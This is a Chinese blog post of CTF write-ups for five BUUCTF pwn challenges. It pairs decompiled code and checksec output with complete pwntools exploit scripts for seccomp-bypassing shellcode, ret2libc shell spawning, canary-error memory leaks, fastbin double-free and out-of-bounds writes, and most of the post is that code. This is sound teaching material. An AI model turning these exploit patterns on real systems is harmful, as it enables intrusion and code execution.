BUUCTF pwn wp 91 - 95

最新推荐文章于 2022-12-09 22:23:17 发布
最新推荐文章于 2022-12-09 22:23:17 发布
阅读量595 收藏
点赞数
分类专栏： PWN 文章标签： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33976344/article/details/121906967
版权
本文档展示了三个不同的漏洞利用技术，包括利用32位和64位程序中的栈溢出、未初始化的指针以及有限长度shellcode来实现目标操作。在这些例子中，通过修改栈布局、跳转到shellcode、读写文件以及泄露内存信息来获取shell。同时，也演示了如何绕过安全特性如NX、Canary和RELRO。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]Not Bad

在这里插入图片描述

__int64 sub_400949()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  return seccomp_load(v1);
}

在这里插入图片描述

int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

有限长度shellcode, 栈可执行有沙箱, 允许read, write, open操作
检查内存区域的权限
在这里插入图片描述
在这里插入图片描述

发现存在可写可执行的mmap申请区域且有jmp rsp, 这里buf长度有限的情况下用jmp rsp跳转到shellcode执行

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 28170
filename = "./bad"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    wx_stack = 0x123000
    jmp_rsp_addr = 0x0000000000400A01
    payload = asm(shellcraft.read(0, wx_stack, 0x200)) + asm('mov rax,0x123000;call rax;')
    payload = payload.ljust(0x28, b'\x00')
    payload += p64(jmp_rsp_addr) + asm('sub rsp,0x30;jmp rsp;')

    io.sendafter('have fun!', payload)
    payload = asm(shellcraft.open('./flag') + shellcraft.read(3, wx_stack + 0x200, 0x30))
    payload += asm(shellcraft.write(1, wx_stack + 0x200, 0x30))

    io.send(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

cmcc_pwnme1

cmcc_pwnme1(master*)$ file pwnme1;checksec pwnme1
pwnme1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=d2a89c055176b3b4fc229df758c8cf02fe92cbd3, not stripped
[*] '/home/pwn/桌面/cmcc_pwnme1/pwnme1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

int getfruit()
{
  char v1[164]; // [esp+14h] [ebp-A4h] BYREF

  fflush(stdout);
  printf("Please input the name of fruit:");
  __isoc99_scanf("%s", v1);
  return printf("oh,%s...\n", v1);
}

还有个后门

int getflag()
{
  char s[120]; // [esp+14h] [ebp-84h] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]

  puts("Yeah, you got it...");
  stream = fopen("/home/flag", "r");
  if ( !stream )
    perror("/home/flag");
  fgets(s, 120, stream);
  puts(s);
  fclose(stream);
  return 1;
}

想怎么打怎么打

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.sendlineafter('>> 6. Exit    \n', '5')
    getflag_addr = elf.sym['getflag']
    payload = cyclic(0xA4 + 4) + p32(getflag_addr)
    io.sendafter('the name of fruit:', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

在这里插入图片描述

BUU基操, flag不在/home下
直接ret2libc getshell

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    context.log_level="debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_addr = elf.sym['main']
    payload = cyclic(0xA4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    
    io.sendlineafter('>> 6. Exit    \n', '5')
    io.sendlineafter('Please input the name of fruit:', payload)
    puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
    log.info('puts address: %#x', puts_addr)

    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

    payload = cyclic(0xA4 + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
    io.sendlineafter('>> 6. Exit    \n', '5')
    io.sendlineafter('Please input the name of fruit:', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

wdb2018_guess

wdb2018_guess(master*)$ file GUESS; checksec GUESS 
GUESS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30601cc01c05a63af25ec5af8444b9fca2344dba, stripped
[*] '/home/pwn/桌面/wdb2018_guess/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf[48]; // [rsp+30h] [rbp-70h] BYREF
  char s2[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    if ( !(unsigned int)sub_400A11() )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(s2);
  if ( !strcmp(buf, s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

canary报错利用, canary被覆盖之后会打印__libc_argv[0]指向的字符串
所以间接有个任意读的能力, 可以泄露puts@got, 泄露libc, 然后泄露environ得到栈地址, 最后泄露buf得到flag
在这里插入图片描述

找到指针到输入字符串之间的偏移量为0xe088 - 0xdf60 = 0x128, 这里要patchelf到2.23版本, 其他版本偏移量会有一定差异

调试确定environ到flag的偏移, 大版本一般不会有出入, 偏移量一定
在这里插入图片描述

偏移为0xe098 - 0xdf30 = 0x168

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26857
filename = "./GUESS"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_got = elf.got['puts']

    payload = cyclic(0x128) + p64(puts_got)
    io.sendlineafter('Please type your guessing flag', payload)
    io.recvuntil('stack smashing detected ***: ')
    puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info('puts address: %#x', puts_addr)
    
    libc_base = puts_addr - libc.sym['puts']
    environ_addr = libc_base + libc.sym['__environ']
    log.info('environ_addr: %#x', environ_addr)

    payload = cyclic(0x128) + p64(environ_addr)
    io.sendlineafter('Please type your guessing flag', payload)
    io.recvuntil('stack smashing detected ***: ')
    stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info('stack address: %#x', stack_addr)

    flag_addr = stack_addr - 0x168
    payload = cyclic(0x128) + p64(flag_addr)
    io.sendlineafter('Please type your guessing flag', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

gyctf_2020_some_thing_exceting

gyctf_2020_some_thing_exceting(master*)$ file gyctf_2020_some_thing_exceting;checksec gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e091f2bc09a19fd73b0549031fc9b03983dd1756, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_exceting/gyctf_2020_some_thing_exceting'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  sub_400896(a1, a2, a3);
  sub_400939();
  while ( 1 )
  {
    printf("> Now please tell me what you want to do :");
    _isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        Create();
        break;
      case 2:
        GG();
      case 3:
        Delete();
        break;
      case 4:
        Show();
        break;
      case 5:
        goodbye();
      default:
        puts("Emmmmmm!Maybe you want Fool me!");
        goodbye();
    }
  }
}

大概的功能就是create, delete, show
create

unsigned __int64 sub_4009EC()
{
  size_t nbytes; // [rsp+Ch] [rbp-24h] BYREF
  int i; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  void *v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Create Banana    #");
  puts("#---------------------#");
  for ( i = 0; i <= 9 && *(&ptr + i); ++i )
  {
    if ( i == 9 )
    {
      puts("#   so much banana!   #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  *(&ptr + i) = malloc(0x10uLL);
  printf("> ba's length : ");
  _isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes <= 0 || (int)nbytes > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  buf = malloc((int)nbytes);
  printf("> ba : ");
  read(0, buf, (unsigned int)nbytes);
  printf("> na's length : ");
  _isoc99_scanf("%d", (char *)&nbytes + 4);
  if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  printf("> na : ");
  v4 = malloc(SHIDWORD(nbytes));
  read(0, v4, HIDWORD(nbytes));
  *(_QWORD *)*(&ptr + i) = buf;
  *((_QWORD *)*(&ptr + i) + 1) = v4;
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v5;
}

create生成的数据结构是

struct PTR {
	char* ba; // limited length 1 to 112
	char* na; // limited length 1 to 112
};
PTR* ptr; // 0x10 chunk pointer which points to 2 pointers ba and na

delete

unsigned __int64 sub_400C24()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  free(*(void **)*(&ptr + v1));
  free(*((void **)*(&ptr + v1) + 1));
  free(*(&ptr + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

指针free后没有置零, 存在悬空指针, 导致UAF漏洞

show

unsigned __int64 sub_400D2E()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  printf("> SCP project ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  printf("# Banana's ba is %s\n", *(const char **)*(&ptr + v1));
  printf("# Banana's na is %s\n", *((const char **)*(&ptr + v1) + 1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

flag在程序里是直接读取到bss段的s字符串处, 看到这里存在大小为96的fake chunk
在这里插入图片描述

在这里插入图片描述
所以采取fastbin attack, 在0x6020A0处申请出fake chunk(准确来说是0x602098处, 因为chunk header包括pre size和size, 所以需要前移0x8的地址), show就能打印flag

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 28722
filename = "./gyctf_2020_some_thing_exceting"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(size1, content1, size2, content2):
    io.sendlineafter('> Now please tell me what you want to do :', '1')
    io.sendlineafter('length : ', str(size1))
    io.sendlineafter('> ba : ', content1)
    io.sendlineafter('length : ', str(size2))
    io.sendlineafter('> na : ', content2)

def Delete(index):
	io.sendlineafter('to do :', '3')
	io.sendlineafter('Banana ID : ', str(index))

def Show(index):
	io.sendlineafter('to do :', '4')
	io.sendlineafter('project ID : ', str(index))

def pwn():
    fake_chunk_addr = 0x602098

    Add(0x50, 'chunk0', 0x50, 'chunk1') # 0 
    Add(0x50, 'chunk2', 0x50, 'chunk3') # 1
    Delete(0)
    Delete(1)
    Delete(0)

    Add(0x50, p64(fake_chunk_addr), 0x50, 'chunk1_new') # 2
    Add(0x50, 'chunk2_new', 0x50, 'chunk3_new') # 3
    Add(0x50, 'flag', 0x30, 'anything whatever') # 4

    Show(4)


if __name__ == "__main__":
    pwn()
    io.interactive()

wustctf2020_name_your_cat

wustctf2020_name_your_cat(master*)$ file wustctf2020_name_your_cat;checksec wustctf2020_name_your_cat
wustctf2020_name_your_cat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=094efce6cb328adfe1f2f1dbfa7d38182182e064, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_cat/wustctf2020_name_your_cat'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

unsigned int vulnerable()
{
  int i; // [esp+Ch] [ebp-3Ch]
  int v2; // [esp+10h] [ebp-38h]
  char v3[40]; // [esp+14h] [ebp-34h] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("I bought you five famale cats.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich(v3);
    printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
    printf("Her name is:%s\n\n", &v3[8 * v2]);
  }
  return __readgsdword(0x14u) ^ v4;
}

int __cdecl NameWhich(int a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2[0] + a1);
  return v2[0];
}

这个函数负责输入name, 但是处理数目时没有检查是否小于5, 所以导致任意地址写6个字节, 可以把ret address劫持到后门函数shell即可get shell

在这里插入图片描述
在这里插入图片描述

偏移为0x38, 除以8得到7

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25493
filename = "./wustctf2020_name_your_cat"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    shell_addr = 0x080485CB

    for i in range(1, 5):
        io.sendlineafter('Name for which?\n>', str(i))
        io.sendlineafter("Give your name plz: ", str(i))

    io.sendlineafter('Name for which?\n>', '7')
    io.sendlineafter("Give your name plz: ", p32(shell_addr))

if __name__ == "__main__":
    pwn()
    io.interactive()
fa1c4
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Linux pwn入门教程(3)——ROP技术
xiaoi123的博客
07-10 7572
作者：Tangerine@SAINTSEC原文来自：https://bbs.ichunqiu.com/thread-42530-1-1.html0×00 背景在上一篇教程的《shellcode的变形》一节中，我们提到过内存页的RWX三种属性。显然，如果某一页内存没有可写(W)属性，我们就无法向里面写入代码，如果没有可执行(X)属性，写入到内存页中的shellcode就无法执行。关于这个特性的实验在...
c fread 快读 详解_缓冲区机制详解
weixin_39552874的博客
11-03 889
在最近的几场比赛中，部分赛题牵扯到缓冲区的知识，之前对这块的知识还不够特别的理解，所以抽时间来总结一下。一、什么是缓冲区机制首先我们要知道什么是缓冲区总的来说，缓冲区是内存空间的一部分，在内存中预留了一定的存储空间，用来暂时保存输入和输出等I/O操作的一些数据，这些预留的空间就叫做缓冲区；而buffer缓冲区和Cache缓存区都属于缓冲区的一种buffer缓冲区存储速度不同步的设备或者优先级不同的...
BUUCTF-PWN
weixin_52125240的博客
12-04 1983
BUUCTF-PWN1.test_your_nc2.rip3.warmup_csaw_20164.ciscn_2019_n_15.pwn1_sctf_2016 1.test_your_nc 根据名字的提示，来测试一下我们的nc cat flag 得到我们的flag nc的使用 nc的全名是netcat，其主要用途是建立和监听任意TCP和UDP连接，支持ipv4和ipv6。因此，它可以用来网络调试、端口扫描等等 常用语法： nc [-hlnruz][-g<网关...>][-G<指向器数目&
[XCTF-pwn] 23_4-ReeHY-main-100
weixin_52640415的博客
03-08 201
堆，索引上边界溢出。 一个堆题，没开pie的情况下，指针区是完全暴露的。同时对上边界没有检查。利用上边界溢出将数据覆盖块size区将size改大，再利用块的写溢出啥都搞。 int __fastcall m1add(__int64 a1, __int64 a2) { int result; // eax char buf[128]; // [rsp+0h] [rbp-90h] BYREF void *dest; // [rsp+80h] [rbp-10h] int v5; // [rsp
[天权信安&catf1ag] crypto,pwn部分
weixin_52640415的博客
12-09 1154
天权信安&catf1ag
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
PWN-shellcode-WP- (一)题目文件.rar
03-29
为几道搜集的真题，https://blog.csdn.net/qq_43390703/article/details/105181147中有对他们的详细解答，是学习pwn入门的很好练手和熟悉知识点以及pwn技巧的真题。
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
buuctf pwn ubuntu20的自己搭建运行环境
11-15
pwn ubuntu20的自己搭建运行环境具体情参考https://blog.csdn.net/weixin_41748164/article/details/127874334
三个pwn题
weixin_52640415的博客
06-28 1710
shortcut ：格式化字符串漏洞写溢出 lucky_guy：alloca负值覆盖ret babynote：libc-2.31禁用exec写 ORW free_hook->sigreturnframe-> setcontex+61->orw
5、进制转换（整数）
hopegrace的博客
03-02 404
一、用一般函数实现 #include"stdio.h" voidfun(intm,intk) { inti,a[20]; for(i=0;m;i++) { a[i]=m%k; m/=k; }//for for(;i;i--) printf("%d",a[i-1]); } intmain() { intb,n; printf("Please...
BUUCTF-PWN刷题记录-2
weixin_44145820的博客
03-15 635
目录gyctf_2020_borrowstack gyctf_2020_borrowstack 本题只有有限的溢出空间，而且有NX的保护，只能用ROP的办法 利用方法为把rbp改为bank+4的地址，返回地址改为leave的地址，这样就能利用RBP修改RSP，bank前8个字节填写bank+8的地址，之后跟上ROP链， 不过这题还有一点，就是Bank离stdin和stdout比较近，需要先使用...
[GKCTF 2021]checkin调试与分析
Tokameine的博客
07-23 1456
目前笔者刚刚开始入门PWN，算是通过这题涨了点见识吧 主要函数： int sub_4018C7() { char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Please Sign-in"); putchar(62); read(0, s1, 0x20uLL); puts("Please input u Pass"); putchar(62); read(0, buf, 0x28uLL); if ( str...
i春秋新春战役PWN之Some_thing_exceting
像初雪一样自由洒落
03-09 690
心好累，堆处入手，看明白了，可是总是复盘实现不了。。。不过学长那边可以，是我机子的问题？？ 题目链接：https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw 提取码：5td6 文件查看一下 拿到程序发现运行不了，查看文件属性，发现没有执行权限，加一个执行权限 执行不了 因为程序要打开/flag（根目录下flag）文件 ...
gyctf_2020_some_thing_exceting
z1r0的博客
01-20 373
gyctf_2020_some_thing_exceting 查看保护 有uaf flag被存放在了bss段。 放flag的这里的size大小是0x60，在2.23下会检查size的大小是否与fastbin 对应的大小一样。 所以进行fastbin释放时，申请的堆块为0x50即可。fastbin double free attack即可。最后申请0x40的原因是因为0x50对应的fastbin里double free之后会有东西，所以申请其它大小的堆块。 from pwn import * con
2021-09-20 BUUCTF WriteUP(堆/字符串/栈)
m0_56897090的博客
09-20 614
文章目录堆类综合模型总结pwnable_hacknote分析EXPhitcontraining_bamboobox分析EXPnpuctf_2020_easyheap分析EXPciscn_2019_es_1分析EXPhitcontraining_unlink分析EXPgyctf_2020_some_thing_exceting分析EXP栈溢出综合模型总结picoctf_2018_shellcode分析EXPjarvisoj_level5分析EXPcmcc_pwnme2分析EXPactf_2019_babyst
gyctf_2020_borrowstack
z1r0的博客
12-23 1316
gyctf_2020_borrowstack 查看保护 栈迁移，将payload写入bank，借助buf这个溢出来执行两次leave_ret从而控制ebp esp 和 eip到payload这里。具体的栈迁移知识这里就不细说了。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.bu
buuctf 2022 3.10
m0_57754423的博客
03-10 212
gyctf_2020_some_thing_exceting: 漏洞点： 存在uaf漏洞。 思路： 通过uaf漏洞进行double_free，修改fd即可malloc flag所在地。 exp: from pwn import * from LibcSearcher import * context.terminal = ['tmux', 'splitw', '-h'] local_file = './gy1' local_libc = './libc-2.23.so' # re
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值